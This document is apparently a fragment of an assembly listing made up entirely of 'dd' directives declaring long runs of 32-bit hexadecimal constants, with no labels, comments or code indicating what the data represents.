dd 22BE6930h, 3E5D8209h, 3A2DF9A6h, 0FD4F328Bh, 4C609D1Ch
dd 0AE3AD6B8h, 3E9800FEh, 0E76608F8h, 2F43C14h, 4A9151B7h
dd 0BFED73E3h, 5403F058h, 0D411C914h, 0F163A7DFh, 0D8653C6Eh
dd 0D86004h, 371215F7h, 2FCE3CBFh, 0E23FF6ADh, 0B1ACE2C6h
dd 0C6FA34F4h, 9003BC69h, 0B90914E6h, 0D28B4594h, 22FA18F7h
dd 0BD159BA3h, 398DFA9Eh, 6F6CF26Ah, 58AAC31Bh, 60B97AECh
dd 4E1011D0h, 0A95FEB9Bh, 0C7337BA4h, 12900FA5h, 925AECDAh
dd 75E298F2h, 0AFEF856Ch, 8BD98166h, 298A4C6Ah, 0BF2D1CA3h
dd 0C47303F2h, 6D3A498Dh, 0EAA08E8h, 3A880E55h, 0B68C83Eh
dd 0D93F1CDAh, 8703D4C2h, 0AFE7881Dh, 7BE51A29h, 5E408457h
dd 18D85BCFh, 1FD7EC88h, 5A42CFCEh, 0A7E9159Dh, 78EF2335h
dd 0E85E0FABh, 0D5E588DAh, 27F8E2Bh, 0B9E0795Ah, 0DACBAFF8h
dd 0D87509DFh, 77EF7CEAh, 0CB163DADh, 0B669D1B2h, 7A58ED80h
dd 3F1914FCh, 7FDF6004h, 0E90E7AF3h, 0B8C3B09Ch, 9C638363h
dd 9154F379h, 6AFABFA1h, 476E3B5Ch, 0B5445691h, 77011FAEh
dd 9B679802h, 6CB8BAEFh, 849518F3h, 0F644DDE8h, 308F3616h
dd 2997FF6Dh, 0FA17F8E5h, 25FC6D21h, 446608C7h, 0DB60250Ch
dd 53134FB5h, 0A09F4BB7h, 0A47D9B9Eh, 0EC92CFF4h, 55D4A667h
dd 0CC9A527Ah, 8352AF74h, 9DB3DDA5h, 35BBE01Dh, 0F07CE7DAh
dd 3EC198B3h, 9A5A95D0h, 0BB3E3A62h, 3FBD6550h, 10215DEh
dd 8E107428h, 8E146A80h, 3799D5E4h, 374416Ah, 31B7435h
dd 0B6D13B2Dh, 7E573AEAh, 8D16B879h, 68A50A72h, 7E326801h
dd 0CEBF7A31h, 0DB390E19h, 38279E9Fh, 1A2D8A03h, 1DC7BE2Ch
dd 866CF438h, 0EA9CDE94h, 1E7065F6h, 1CFDEFCh, 5483B061h
dd 793C32Ah, 0DD577CB1h, 3A2EA87h, 5587E1B0h, 0B36A14CBh
dd 7C79FBEEh, 0A05D2EDFh, 0A46757CBh, 0DD3E2F3h, 434B3040h
dd 20E9C5E1h, 997A5190h, 5B4BD811h, 81857383h, 7BC97B06h
dd 70D4ACD2h, 9E1D2290h, 0A6A8F04Ch, 7DA057D0h, 478FE70Bh
dd 0DA898831h, 0D7349C85h, 2D315C51h, 8505D24Bh, 5C79DEE6h
dd 0CB7250D6h, 2F02C721h, 0CA70ACB1h, 0D6AE1950h, 0E3673050h
dd 3706E547h, 5A81ED21h, 6EE47F1Dh, 0DCF1B83h, 0D4E6FCDDh
dd 0A1DA8196h, 0F0446025h, 6920DA41h, 0F3A81917h, 38C76679h
dd 9B852A45h, 0F99381CCh, 0F6F3AA65h, 936DBF4h, 535395A5h
dd 6F30571Fh, 46FDAF79h, 0D02B5CC9h, 18368F3Dh, 6CD6DC1Bh
dd 7EF45F9Fh, 0E4930F2Ah, 9E287041h, 1AAD2D27h, 0D9774FFEh
dd 0F802544Dh, 0E55DCA89h, 662B3778h, 175B6AA9h, 0F6D7129h
dd 0F6B36081h, 0E5192438h, 0AC66AD15h, 0BD45207Eh, 0F80D4FFEh
dd 8045D5B2h, 5EA6CF0Ah, 0FE8C14BBh, 655A3A68h, 233FB042h
dd 6199EE95h, 0CF6E6B23h, 0A6850995h, 0A88C2761h, 0EE623881h
dd 4FC74A9Ch, 0BC57C471h, 0C27D2FFAh, 293BC9ABh, 55C19ACEh
dd 0E9FB12D2h, 514AC982h, 0C3C6A045h, 83F22CC7h, 0F0ABD0E8h
dd 679A6B69h, 0B5E2E619h, 320AAF97h, 28ED07FBh, 433D3BADh
dd 36A8D0CCh, 0EA3C665Ah, 5045F9FEh, 3E41AACh, 72C67F5Dh
dd 9EF10896h, 0B962E110h, 7D80F003h, 85A89AEFh, 0C730F785h
dd 4D6459A8h, 1899F08Ah, 6094B63Ah, 0C0CCDB40h, 3BE86F02h
dd 0E034386h, 269A7650h, 55584BB1h, 0D3DF7434h, 0CF6B79EFh
dd 0A792575Ch, 0B77EBC35h, 466BB3F1h, 0D978DC08h, 5E399519h
dd 0F89C0869h, 0A0611346h, 0F49C7C70h, 0E9943E55h, 1274AC82h
dd 6B001B17h, 0C5AFE660h, 23D50512h, 0A383BBD9h, 85A58C8Ch
dd 0FBB864F8h, 0BBF09185h, 6C272E5Ch, 0B9A07445h, 0B9D5221Dh
dd 59FF892Fh, 7370A9F2h, 4A68E1E6h, 2E61C695h, 69169ABDh
dd 1C44EAAEh, 0F7FCE7Ch, 0A0AFF779h, 223DF087h, 4A5472A6h
dd 47191664h, 8BD9CAF4h, 864C026Ah, 2783CAD9h, 0F18568FFh
dd 0ACBB124Dh, 8E9BF4F8h, 0E6AE868Eh, 0B570CBCh, 12711B1Bh
dd 0FD9D6851h, 4000EB8Ah, 63BD887Ah, 4174D1D4h, 0CA4CDE05h
dd 0F5D16260h, 48015DFDh, 0E73839CEh, 0FFE6A759h, 7C035015h
dd 0AD2724A0h, 4615706Dh, 881D145Ah, 145DDEF6h, 47C48907h
dd 27DC8306h, 6297E848h, 0E5A7BC42h, 0D36A16DCh, 28EE0B20h
dd 0E6FFE428h, 0E2EAA23Ah, 77555802h, 0D3C7324h, 0C2E71DB3h
dd 505F434Dh, 67B34F56h, 6B367690h, 0A514AE0Eh, 45E890D2h
dd 0CD9BC12Ch, 6CB8A46Dh, 0CDBE6D5Bh, 0CC4AC1ECh, 0A346CF28h
dd 3FB2E615h, 204948EDh, 0E9440583h, 0A2A736A2h, 8A00AEDEh
dd 57E711AEh, 2346FCCBh, 95D1422Dh, 792E945Fh, 1FF67373h
dd 0F47BB8A0h, 66DAFE06h, 29392F4Eh, 0A68896CBh, 6A941BEBh
dd 48B02683h, 2E815ABDh, 4C425AAh, 0FF82AA16h, 0F649FB5Eh
dd 0E66F22Dh, 667FDC87h, 0E7C786AAh, 5A8609E3h, 0BB800735h
dd 9D805453h, 0B086F0F7h, 31BE5B66h, 414ECAAFh, 0CF80987Ah
dd 0A5F84347h, 85D45D83h, 0D17093F9h, 0B7BD728Eh, 0E6DE0440h
dd 459E04E9h, 9148BBF2h, 0EEAA7A50h, 113A0AFDh, 0E740A3E4h
dd 1C67AC2Ah, 0FDE0371Eh, 6E61C1Dh, 1CFF5647h, 2BD3400Fh
dd 70679C7Dh, 781875F1h, 63AB2D48h, 0DE22FE59h, 951C2BCEh
dd 93542DD7h, 5E2A1E3Ah, 3100E911h, 766CFAF1h, 0CE46B3E5h
dd 0C2507D1Eh, 1BD5FC11h, 6C594401h, 244E8AA0h, 0ECFA108Ch
dd 4F76323Bh, 0E82EC7E2h, 0A828079h, 3748CF7Ch, 21B4A67Ch
dd 0E475D87Dh, 3B85DC7Eh, 41B7078Ch, 9E485589h, 3B6A045Ch
dd 7115A429h, 637A7733h, 9752E5F2h, 0A831A0A1h, 0A376296Bh
dd 557694A3h, 11EF68D5h, 42CA9553h, 28EE1F57h, 0C94DDA3Bh
dd 0A84989EEh, 6939F653h
dd 725561A7h, 0DF92E0C0h, 0DA1CB7D2h, 0F33B6CC3h, 0D2B87430h
dd 0FBB1FACFh, 0CE45D96Ch, 0B36AA827h, 3526925h, 2F9AECEEh
dd 8D632701h, 7FEB62E5h, 3E6F97D7h, 0F65BB07Ch, 0FE6114E5h
dd 52373249h, 0F3F57E2Eh, 75762593h, 0C53A7111h, 0A128C9E1h
dd 0AD3DD4E8h, 0D79D49B5h, 0F29F329Ch, 6FEFF4BFh, 9E177AE7h
dd 659377B8h, 0CAB3CB3Dh, 36673DF8h, 0A5586C75h, 0DEC007C8h
dd 6AD87876h, 3E1A7305h, 0D9E522E7h, 446BFBADh, 5D26BA77h
dd 59228E31h, 7E302277h, 202AD02Dh, 0EA0CF4DAh, 0AD8DDD08h
dd 495EA0FAh, 301C85D5h, 0BBAF7C50h, 164B033Ch, 9C80624Dh
dd 640E7E41h, 0B0848CDCh, 0E064DA65h, 2A35BA66h, 0FC18D7ACh
dd 0CC04C71h, 4E6D824h, 8DCC8AD6h, 0E3578046h, 0BBC5ED90h
dd 1A19C3B9h, 461474Bh, 28B87602h, 0D0A31735h, 0FC00B773h
dd 4BF4DB24h, 0FC719C99h, 860D95FBh, 2589A4A6h, 8760FA31h
dd 0B2592C37h, 0F35854F5h, 9A7538FAh, 4095F516h, 0E42671D9h
dd 0A890667Dh, 5A61C2F2h, 4C4E68CFh, 0F6AD09D9h, 64B01DD1h
dd 6C999581h, 0F5447E7Fh, 0D0C19D3Bh, 1EDEC1E5h, 71660CFBh
dd 46F6DBF1h, 77BBAEF6h, 276DC511h, 91068AF1h, 7B531369h
dd 0E075C668h, 5E754EF0h, 968F817h, 89ED006h, 12741694h
dd 0E6B87E3Ch, 98DD1244h, 1260CEBh, 0A1B9A738h, 0E398F682h
dd 0FD1B83A6h, 329C8EEBh, 0AEEA2258h, 7F02C66Eh, 0A17AD818h
dd 0B3F76D14h, 887BEE76h, 213236E9h, 0C31D3AFBh, 0D0FF776h
dd 6E81330Fh, 5BF49C50h, 0E507C32Bh, 0F960B369h, 0FB7C79F0h
dd 3D57531Bh, 0C03F74C6h, 0EE39FC8Ah, 9BAEE427h, 0B4B5EA57h
dd 8E741BD8h, 4AC0972h, 0D80EF0C9h, 6E06337Eh, 64506143h
dd 953A1E91h, 5A6FC2F9h, 4F96C801h, 4242121Bh, 3400C507h
dd 0B8E63511h, 1A9685CDh, 671B6AA5h, 9EF6A9C1h, 6F9CE6DDh
dd 9D5B80D4h, 8BF10B36h, 0F8351E4h, 517D957Ch, 2CF696BAh
dd 0EF48A4C0h, 50C2EFCAh, 0EA006BA0h, 8B7D4AD0h, 0CE6C974Bh
dd 0E4A21424h, 74884069h, 0F6D1462Fh, 475942Dh, 0B43D5AF8h
dd 72AF19E2h, 0CEDDC78Dh, 36F0A95Eh, 99909180h, 0C1F02403h
dd 0A35B36B9h, 63EB2FAFh, 13DE040h, 791739Bh, 0BD046F79h
dd 9A678FEBh, 0FB5D6D1h, 550FD716h, 6ACAA813h, 7F832E61h
dd 7382A9h, 0E58ECE2Ch, 414AE00h, 467772D8h, 5EF34A29h
dd 400D39F7h, 119303E2h, 9A3ACC5Eh, 81714A6Fh, 21FADD6Fh
dd 6CC88274h, 4D408C54h, 2080814Fh, 0AE65D633h, 68981049h
dd 0C3A54C9Ah, 3BA2EE79h, 0A42A692h, 0CD16D278h, 0F8AFD524h
dd 5FEF25EEh, 0A8108B76h, 5622153Ch, 530FFB1h, 73A3AD34h
dd 0AFC3FD9Ah, 0FCCE6E5Fh, 9C7AD251h, 5DEBB2A3h, 25E5F7CCh
dd 4057C479h, 28ADDB31h, 5C359FA5h, 97371C5Eh, 8F8676Ch
dd 3E885B22h, 0C2F3BC88h, 0C23FD4E0h, 0DB711EBDh, 483DEA04h
dd 22A0370Bh, 0B2CF7DECh, 4B0DA6Eh, 0CAD0A28Bh, 55500C6Eh
dd 43F4E407h, 0DC67AB54h, 212507F5h, 0BFF74B04h, 0E25E631Eh
dd 1F159968h, 3CAB5CBEh, 0CE669379h, 0E97438Bh, 7DF7FE74h
dd 492D3DEDh, 0D0AF4763h, 8AB2643Bh, 5E5C6E2Dh, 0D49838A6h
dd 961AC86Eh, 41949F0Eh, 2C1E0D65h, 386767BCh, 30100B8Fh
dd 97F8B6F3h, 8AF43AACh, 0EE132A72h, 0A3715F7Eh, 25B60ED7h
dd 789AD3CDh, 0C6E2BA59h, 0F65EA364h, 0D81690EFh, 0EF99B300h
dd 52123B73h, 5C8C650Ch, 7109AD5Eh, 0EA94D2B8h, 82EB834Ah
dd 740948B5h, 659B853Ah, 0E2C3E286h, 0B0E74E3Bh, 0F1B9F3D9h
dd 72F93F25h, 69B75352h, 0A64E61B4h, 22FCC831h, 0C1E9CC9Ch
dd 0D4F381F8h, 4CA661CAh, 0DF737B02h, 9D9ECAADh, 7A294C91h
dd 0F58640AAh, 9BD05E95h, 0E4C68B85h, 1DD9D96Bh, 0E958E9BCh
dd 15D2B83Bh, 0E3ED42CDh, 7FF96AD0h, 450BAC35h, 65F81736h
dd 0ED33EE86h, 3C0F4647h, 6F5DD96h, 2CAE84A3h, 99276460h
dd 0EAD717EAh, 99FAD200h, 0ED0F3BEDh, 74FEA5CCh, 0B552D750h
dd 538691B8h, 0FC2769F3h, 94F8679Dh, 61A7057Fh, 0BD200D9h
dd 64B209F3h, 0D17C3F83h, 0D5C064A3h, 0BB3F309h, 0F1B70EDEh
dd 8494B50h, 0CA9E4C5h, 13821B99h, 0ED60B6F5h, 0D378F88Bh
dd 94181418h, 8ECD805Fh, 0DC58CF0Ch, 0CC99AACBh, 24FC775h
dd 1F404906h, 419F8472h, 9EF08C3Eh, 3644456Ch, 6BE62BE8h
dd 421C7985h, 62E8B9F2h, 6A0230BEh, 0B9A3B054h, 9E10BA2Ah
dd 70B7F7FAh, 0A79D5E2Dh, 0C95D6012h, 727D190Ah, 0FA11B792h
dd 34130314h, 1CE878FDh, 4F4AA71Ch, 4BC19445h, 20226658h
dd 985565D4h, 92526CFh, 308C86D5h, 860B683Bh, 0D51711DAh
dd 0BF3A074Ch, 7C27D482h, 0C7030AF6h, 585347DBh, 6914412Eh
dd 0BCC0CEDBh, 0A72D58Ch, 720B6D56h, 8ED3183Bh, 18F316C8h
dd 9748A072h, 7EB8742Eh, 66D17D2Ah, 0DC5A151h, 29F6BA2Dh
dd 0AB80A0EDh, 1AC8486Eh, 0B9C922D9h, 49567D10h, 203F7066h
dd 6BC3F88h, 56D51E93h, 298687FCh, 81034DA2h, 15E0E450h
dd 0B88472B5h, 0AACDF55Dh, 0D416AAC4h, 0B3B7664Ch, 0B9B44F25h
dd 2EC46734h, 6D502B07h, 5C6C617Ah, 581D0D73h, 7B81F86Fh
dd 0CB3DBB6Dh, 0A38BB6F6h, 5396B894h, 0F69A7988h, 7BDD8FE8h
dd 0BCE7DC44h, 22675DFDh, 1D2B615Bh, 1ED3BA5Ah, 3A0296FAh
dd 8460FA7Fh, 5559411Eh, 1D6B888Ch, 85B1ADDh, 478B9F41h
dd 0E14F3A35h, 85D99641h, 2ED588FCh, 43A1880Eh, 0A8FCDD04h
dd 8B67731Fh, 1911039Fh, 3BB73AC2h, 5E13CA10h, 672B881Bh
dd 2BC96B95h, 0AAD3D930h, 0BEDCAAF5h, 0CC4B0320h, 64F1F983h
dd 0E01E3752h, 0C87E5115h, 245E6B0Ch, 9186414Ch, 870CFCBEh
dd 775353C6h, 40F9E190h, 97504929h, 0FEF7CDA1h, 85133F20h
dd 0C8A6B54Ah, 2319F20h, 61A69506h, 0C43E3E6Eh, 639876E8h
dd 1B451D48h, 1B6BEB41h, 0D32C44EBh, 506D717Fh, 6B877192h
dd 8D154F44h, 0AC0BA8A8h, 0A4B40F09h, 61A405BBh, 11B1B392h
dd 48E9D9C0h, 0C6860C8h, 0C51FB1E3h, 6D6B42D7h, 2663CCDDh
dd 790D88E4h, 0E9F0000Eh, 855BDE66h, 0FB7D4C3Bh, 0CAD3C5BDh
dd 0D20D9DC3h, 10F3E32Fh, 0C261D114h, 229C0442h, 6A6A5E09h
dd 0A471C645h, 0B7736588h, 0E2577518h, 1DFEF8DCh, 4FF04BE3h
dd 0E2ADC09Fh, 9977D751h, 5739C4A0h, 30B1A6D0h, 0BC2D5462h
dd 0F474BCCAh, 0D0BD6E4Dh, 0D434C08Eh, 0A76A8360h, 19CB5BAAh
dd 14C76F2Dh, 57064B87h, 0CFD63A7h, 23B12355h, 0ACDE478Bh
dd 0ED648699h, 3A838EAEh, 0C0F58C22h, 0ACBC8824h, 323198E6h
dd 9B073528h, 4AA7209Fh, 3F8D9056h, 551ADD69h, 0D1FBCF97h
dd 888B057Fh, 657C4BDCh, 0B88DF5B6h, 48043D0Eh, 163158F2h
dd 25254C36h, 4CCF8B18h, 3A96D48Fh, 94CF2183h, 0E2FA6FF8h
dd 0A3297930h, 80B55BE8h, 0FA45DF37h, 0F9670605h, 0ABA623F8h
dd 55E5B1A5h, 0B5251A5h, 0AD988DB6h, 1F4FD1A2h, 791412ABh
dd 0E6714FA7h, 2FA62968h, 442F689Ch, 0C19EC8EAh, 23EF2528h
dd 94B4C1F1h, 210D829h, 7EA8183Ah, 0A76FDBBEh, 0D183B718h
dd 4EA74AFh, 7E35CB5Dh, 237D6DD8h, 0E2972397h, 8E0956AFh
dd 8D81417h, 40424E27h, 0D90EDAEDh, 0EE2EB981h, 0D98E567Bh
dd 0E6B84004h, 0E6B12731h, 720DC2B2h, 7494AB4Ah, 38FBAFD2h
dd 14219D69h, 52E3C92Bh, 0F72DE2A1h, 4435AB91h, 0E1D5EB7Fh
dd 0F8FD540h, 59F32042h, 5EE608B9h, 2E8BC30Ah, 0D23806E1h
dd 9DE9CCB0h, 0BBBAB6C8h
dd 0F3E33F35h, 77537FDh, 0E17434A0h, 1857290Dh, 0C3DC3BEDh
dd 542DE795h, 6F33A112h, 1B06C4Eh, 0F2380B13h, 382F6DA8h
dd 199871AAh, 997148FCh, 0DC78B89Eh, 0CA238AF1h, 2EF0BCBDh
dd 0D67F1F0Bh, 52894B4Ah, 0BFDB1A4h, 48D45E0Fh, 9F9A08BBh
dd 6C3536EFh, 3AA812Bh, 0DF8E7026h, 97A7B8FFh, 0BF3456AFh
dd 291CB368h, 6C9E938Ch, 0D990B64Eh, 0C01A2ECDh, 9D04C90Fh
dd 0E56B06BAh, 58E27A71h, 0E8719F16h, 2D2696A0h, 0DB517ACh
dd 0BBD9C749h, 288DDC2Bh, 0D4F83D40h, 0D87DFA86h, 97DA990Fh
dd 272592EEh, 2DCFC335h, 33D8D8E8h, 1216D125h, 79E3E014h
dd 9151A3B0h, 3A6BEDACh, 0F8E5F0B0h, 6CEBFE22h, 2AE4414Ah
dd 11596598h, 32E35C3Fh, 3DE6BF22h, 0F62CBFDDh, 4D87D680h
dd 5084DE0Eh, 0D0E79771h, 9835245Bh, 1028DEC4h, 31E5F63Fh
dd 0D90D471Dh, 6732ED14h, 3329BEE4h, 0F02C7689h, 0CA8CF7FCh
dd 130D7BA5h, 61297021h, 0B780912Ch, 64DF61DDh, 9E1C68DEh
dd 36CB3455h, 77835DEh, 214CA637h, 50B1CBF0h, 6FFFA084h
dd 72D11A98h, 9CA919E6h, 8087F7F6h, 0D9DE6AF9h, 504D1299h
dd 7AD7FB0Dh, 6DFB67DAh, 0ADEBC3E3h, 7E21926h, 2DF6563Fh
dd 400E6512h, 168E302Fh, 86F11B13h, 49F5E6Ah, 0A01E9F7Bh
dd 505D4E91h, 6A69151Ch, 0AE2A9E2Ah, 3B166F1Fh, 4A0DE234h
dd 39483C18h, 782B1D02h, 0FB9634F8h, 0E1A5A49Bh, 0DF0F9645h
dd 89A38208h, 0BFC09C3Bh, 0A3F26646h, 2E439B19h, 92D44A02h
dd 2B3DAFBAh, 0E1307688h, 70A94CAFh, 0D1BE1AC0h, 4968C486h
dd 6A46CA4Ah, 0A1E65E0h, 8C3C3F7Ch, 916A632h, 0D5B6EFF2h
dd 0E0CBD9A3h, 5C1D434Eh, 8375831Ah, 1C552026h, 15E9E38h
dd 5B1EA521h, 0C3CDD925h, 0A142A0ADh, 0D3505960h, 0D09EABE1h
dd 0BCAB774Ah, 3B1FDD2Bh, 9C73E98Bh, 28E471CFh, 1DD24909h
dd 1B1ECF4Bh, 94C65DD5h, 5F9C8FEFh, 0CBCB03h, 27317E0Ah
dd 1FB9E3h, 0A5FF2643h, 81C703EFh, 0C6196B42h, 71E90310h
dd 514C6027h, 55534B26h, 0DDD26AD5h, 51EEE73h, 70EA0376h
dd 164759DCh, 909C38FAh, 0A18655E0h, 0C640D7EAh, 0A832D2E7h
dd 0EF8E3317h, 0A5282BE0h, 9D417543h, 2014BACCh, 192E0A5Eh
dd 7FF6F7DAh, 0C1C9EFBAh, 0E513758Bh, 79EDFC53h, 0B827312Ch
dd 0B01869A0h, 46E83935h, 0B014409Ch, 43BD2F0Bh, 0C744A716h
dd 266C177Bh, 5A66E203h, 90297FFEh, 522A9713h, 0CC8DE260h
dd 6FD657D6h, 9FF1277Dh, 1332DEF1h, 0D76FD6FEh, 8A99163Ch
dd 0FF41C702h, 9391EE7Dh, 0A4624C20h, 546BBF52h, 5CC35C0Dh
dd 689F25D8h, 82185C6Eh, 0F2DFCCC6h, 0EC10E77h, 0CD17A5D2h
dd 0E614CF97h, 0E836F2F3h, 4B36BBDFh, 94750FEBh, 6182B7DAh
dd 0B09F1B98h, 0D5299F12h, 0D5031555h, 0B9AEA575h, 0EE337C5Dh
dd 8D9104Ah, 0C7A13A64h, 0B6921C37h, 0C0AECC0Ch, 0E6804B3Bh
dd 8DFE5BB9h, 0A818187Bh, 0D9900E2Eh, 9A586E19h, 0ACDEDD42h
dd 237C1D28h, 97102029h, 3A03910Dh, 0C6A48E47h, 0AECAE0DFh
dd 5958A2FBh, 173A05C1h, 8D3D1776h, 3A6CA88Ch, 5E06FBE7h
dd 3725CA4Dh, 0D701A4D4h, 61234D87h, 67D8C634h, 89F76846h
dd 2017E3D2h, 0AC2734AEh, 346066F1h, 9F8E3A6Dh, 1FB9EA2Dh
dd 153C73BFh, 0FFF02058h, 545BD689h, 0D68D47D3h, 0A897DA18h
dd 2C076955h, 600BF475h, 0A95DA44Dh, 26285184h, 2A30CA37h
dd 0FE84A2Dh, 0AA9C043Bh, 11538FF7h, 0D209AC7Eh, 96E2F378h
dd 560E0012h, 871FC35Ah, 0C663367Ah, 1C068D2h, 4965C538h
dd 0DBF40788h, 0FFEB99D4h, 7F3746A5h, 4C49980Ch, 3EBE2845h
dd 0C5708FDCh, 0CE18BABAh, 0B370DCD9h, 0C369A84h, 0EB0C328Ch
dd 0FA17276Ah, 441E64A2h, 34B0635Eh, 4C41D5CFh, 59182DD8h
dd 1954B382h, 330F24EBh, 50490465h, 33C89A5Ch, 1733BEA3h
dd 0F006A42Bh, 778CB9BAh, 12333FEFh, 0D1F919F9h, 42BC0611h
dd 0DBA25A21h, 14159044h, 85366DBCh, 52103DF9h, 3869952Ah
dd 0D378F6D6h, 0AE0D74C7h, 1992FADDh, 8AD87D51h, 70569D9Eh
dd 9BEA5D15h, 54872A49h, 0C2B62BDDh, 0FD6C7A8Fh, 4C0CD8ECh
dd 0FC11FEFAh, 0A9C0A78Dh, 0B8557508h, 0BFB6E41Ah, 0CF2A6A51h
dd 29B9F836h, 88EBE7B3h, 0F8689913h, 9A776F06h, 0DC5228F2h
dd 2E228CFFh, 0EEEBDEECh, 9186334Dh, 0C9D54BD7h, 864FBEDBh
dd 0B50C3DA7h, 0F24AC723h, 0E8E28E0Dh, 0E6557E9Dh, 0F27566A4h
dd 8FAA8C34h, 577858BAh, 466D4CB6h, 2C0E865Ch, 1611527Fh
dd 57374E79h, 0C31719B4h, 0FED888AEh, 6F619EE0h, 75D845EDh
dd 69A1AF3h, 0BB63126Eh, 0D3488086h, 633B9ADCh, 20C76834h
dd 0EEFEA60Ch, 3A274FF2h, 1EAE9B68h, 2868EAEh, 456BF441h
dd 0C559BA5Ch, 0B6366D10h, 100C786Bh, 205DAD46h, 9D4113E0h
dd 0C41CF05Dh, 0D7B553F1h, 30F40AC4h, 9C8A22B6h, 1D87B486h
dd 7E16851Ah, 0DC7F4C2h, 644EBEE9h, 40653032h, 0BC74CECBh
dd 68AB85BDh, 598476A1h, 0B0B98E54h, 62E61D92h, 0E31B43FFh
dd 41FB6B8Ch, 8188CBA7h, 1BE5FF7Dh, 1544EE77h, 0F89382D2h
dd 0E311A47Dh, 0F4810Bh, 9CDCEB2Eh, 334A492Bh, 0BFF16297h
dd 0CB52E7AAh, 0ED7DB3C9h, 5B5690E2h, 0C81529F7h, 477C53D1h
dd 0E5E32EBFh, 0C2018D9Dh, 8DEBC246h, 0DE49734Ch, 0DC512111h
dd 9FA5E5D9h, 1102570Eh, 0A62B4189h, 0D2FAB36Dh, 0F57FABC8h
dd 0C36C97CEh, 14E54D1Bh, 0BDD2EE1Ah, 19522C59h, 74B37FE4h
dd 6950EDC7h, 1672B0DBh, 33F689B4h, 0CDC48A68h, 7E81ABEBh
dd 9A81BB8Bh, 0DA076144h, 5C5FDB49h, 38789F0Fh, 0F4D193F4h
dd 0C734AD9Fh, 660CD87Bh, 0E5687933h, 57E2FFCh, 7C617929h
dd 0AE94F5B1h, 0E45B3ED8h, 40EF356Dh, 704AA8FAh, 64AA18E9h
dd 0BBC23F91h, 0A72582F4h, 0B7CEBC08h, 88FB50Eh, 68B60ECBh
dd 870D6E9Dh, 1636968Eh, 9BA11D04h, 8B4C0559h, 0AE138160h
dd 0BDC9EDB9h, 8450B3DFh, 8E4B2E39h, 329345CCh, 975BE157h
dd 0EB48AF7Fh, 23FEA200h, 0F991559Fh, 0CF902D36h, 90246998h
dd 0E456118Bh, 0C01596F9h, 669C96E3h, 61B50867h, 0F3174D30h
dd 576DF172h, 0C0C23100h, 0C16BABB6h, 0EA007AB4h, 7F5DD3B2h
dd 9920A33Dh, 0E946CFFAh, 5EC0570Bh, 8E4091A5h, 8768D887h
dd 0F80ED2DFh, 814319D4h, 0DF946216h, 4A7397B7h, 0FC01C89h
dd 0A3F22829h, 0C13514ACh, 10B9850h, 7C759750h, 36952E17h
dd 8B21945Fh, 4BBE7C02h, 4341ED3Eh, 0C72E8C1Bh, 9CD2D804h
dd 0DB982BF2h, 58C8104Fh, 0C611FA3Ah, 0E2E46741h, 803F876Ch
dd 738689EFh, 9BC672E3h, 4712F389h, 2EDDDDF1h, 9878530h
dd 0D5BE4070h, 4B63E4D3h, 9F6F352Eh, 8B86E768h, 0BC594EA6h
dd 0F967FFA9h, 18EDAAA5h, 0FC9ED575h, 0D2C80BD5h, 30B9FB01h
dd 0AE70046h, 62EC4A94h, 0B202E932h, 8213FD82h, 97DF57A3h
dd 3CF02D88h, 7668BB41h, 91CEB0F3h, 0FB35A827h, 0C86E072Bh
dd 0B1A57F65h, 9B1817DEh, 4F24354Fh, 3AE50ED3h, 0FA882278h
dd 0B6D72DE9h, 3074ABEDh, 0D6932FACh, 0CE3AB5Ch, 74839574h
dd 954EF2C1h, 0BC94362Fh, 0F0725E85h, 0C66B25BAh, 6E376810h
dd 0A7AC86h, 0ED002A72h, 903D48C0h, 944BB327h, 175BAA1Bh
dd 0AAF89129h, 694FD830h, 8D8DAE8Ah, 9E27F962h, 3F077A63h
dd 210653E6h, 81734D3Dh, 4DF6CCAFh, 43F3FB8Ch, 0D69A318Ch
dd 91611B13h, 0F940A5DAh, 4662342Dh, 0CF794EDEh, 7EB228DDh
dd 42D797DFh, 4FA81932h
dd 0C3BCB367h, 684302Dh, 10621040h, 280AFA58h, 902DBA5Dh
dd 7B9DECEDh, 19C5DE7Ch, 40ABB5DCh, 87CB6CABh, 0EB02E2A2h
dd 98EFECEFh, 0D70239A3h, 69A45AF0h, 635506A2h, 14FC77F9h
dd 2D4A5CC4h, 0AFE8AA7Fh, 78880F7Fh, 382FEAC3h, 7B5B5121h
dd 5AC6C6B5h, 9A239983h, 0B7557F20h, 40D093EAh, 55B76FA9h
dd 1610EFFBh, 32A96615h, 0D73518E8h, 2789961Ch, 30BB9692h
dd 0A7DF72C9h, 3DB63BC5h, 5F1C3154h, 4F75AB3Ch, 0CCED3766h
dd 766A682Dh, 713FB09Dh, 0A6B56394h, 7BF9F41Dh, 568F0439h
dd 0F6900D06h, 80D38FC2h, 28C8FE5Ah, 1AF5E76Ah, 0F19D154Ah
dd 0ACBD70D6h, 0E5D60DE2h, 0BC45DBB7h, 1EFFBB58h, 222C7000h
dd 9385F386h, 0D36F3A72h, 0E3B11291h, 7693E75Ch, 92AD2CD4h
dd 110882E7h, 48CE2A60h, 7AC49FDDh, 86F34F23h, 612AB3F1h
dd 0D2987F9Dh, 0CEC5C38h, 69771486h, 0A3A0BEA7h, 2270730Bh
dd 795579D6h, 6FEC8626h, 7989AE7h, 0BF62E4AFh, 76392299h
dd 1A7474D5h, 0D3E32856h, 43E4D7C5h, 43C45336h, 0D5A45BEFh
dd 0BF6D84BAh, 411B14BCh, 5AD613F7h, 555C3CBEh, 4E51D4B9h
dd 0FDFEEA16h, 0D2A695CFh, 0D6758081h, 0D64BA000h, 0A759BA99h
dd 0F840B141h, 872FD58h, 0F97B62A2h, 0F8002454h, 0FCBA188Dh
dd 557AEB0Bh, 6AB87B70h, 52F158ACh, 0A6567783h, 0C665E332h
dd 536A784Fh, 0ED025A41h, 4C13509h, 9EAEEDBAh, 531F48F7h
dd 114FF037h, 0BBAD8640h, 0B14AADFh, 47421A00h, 0EFF7643Ch
dd 4BCC600Fh, 9B158140h, 46EE2D34h, 99A2EBE5h, 0AE4FDF08h
dd 4B124BBh, 71E609h, 315BBAB7h, 0A4BBEAB8h, 45D6B219h
dd 0A15093F9h, 2F57FE04h, 27AA2B14h, 1AFF3479h, 0C07A88A1h
dd 6A640B13h, 0B4389193h, 0D8D7385Dh, 8F7D3583h, 0F01ED223h
dd 0FAE9B186h, 26DF4AD8h, 89911D4Bh, 0BD45C780h, 0F2D94F9Dh
dd 1B58D9BAh, 0D3C322EBh, 9D881EECh, 9DBA908Ah, 67CED6E3h
dd 0FDC86026h, 0E3A01729h, 855449EAh, 3BC4F1AAh, 0AF2F3010h
dd 20788AAFh, 2C240D99h, 0B84E8A70h, 0C2A617D5h, 1B0008B2h
